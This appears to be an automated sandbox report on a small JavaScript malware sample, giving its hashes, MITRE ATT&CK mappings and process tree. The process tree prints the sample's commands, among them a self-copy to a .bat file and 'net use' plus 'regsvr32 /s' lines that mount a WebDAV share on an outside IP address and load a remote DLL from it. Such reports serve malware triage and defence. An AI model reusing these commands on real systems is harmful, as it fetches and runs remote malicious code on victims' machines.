2ed0b043577eb05988bfeb604f79f6751d0d2cbf15b9facbd417059fb11a68e6

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 13:27

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General

Target

3051510081283871707.js
Size

5KB
MD5

738fac756072ee7a1005acda25a51a4e
SHA1

1eef910f2f7592c5a91c4a38c8c9ddaeb52888d5
SHA256

4053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0
SHA512

b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758
SSDEEP

96:fm8G/xgdlRtN2NNbzsHPDWIFaYLQKkyQB:fK/xOX0NbILWI8ikR

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2248	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2120 wrote to memory of 2644	2120	wscript.exe	28
PID 2120 wrote to memory of 2644	2120	wscript.exe	28
PID 2120 wrote to memory of 2644	2120	wscript.exe	28
PID 2644 wrote to memory of 2956	2644	cmd.exe	30
PID 2644 wrote to memory of 2956	2644	cmd.exe	30
PID 2644 wrote to memory of 2956	2644	cmd.exe	30
PID 2644 wrote to memory of 2248	2644	cmd.exe	31
PID 2644 wrote to memory of 2248	2644	cmd.exe	31
PID 2644 wrote to memory of 2248	2644	cmd.exe	31
PID 2644 wrote to memory of 2248	2644	cmd.exe	31
PID 2644 wrote to memory of 2248	2644	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3051510081283871707.js" "C:\Users\Admin\\cfvluv.bat" && "C:\Users\Admin\\cfvluv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2956
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\973.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\cfvluv.bat

Filesize
5KB

MD5
738fac756072ee7a1005acda25a51a4e

SHA1
1eef910f2f7592c5a91c4a38c8c9ddaeb52888d5

SHA256
4053d0a0c9471cc60a843bf856b2cc000f99df79e666453caa119d82fb3b64f0

SHA512
b3e55539b8f598772a5070d74f31399e169b33547352922a16520cfb5e078aa6e8fada56f50ec24e9ee692f86264068d51d33cb1251c6582932974261084c758

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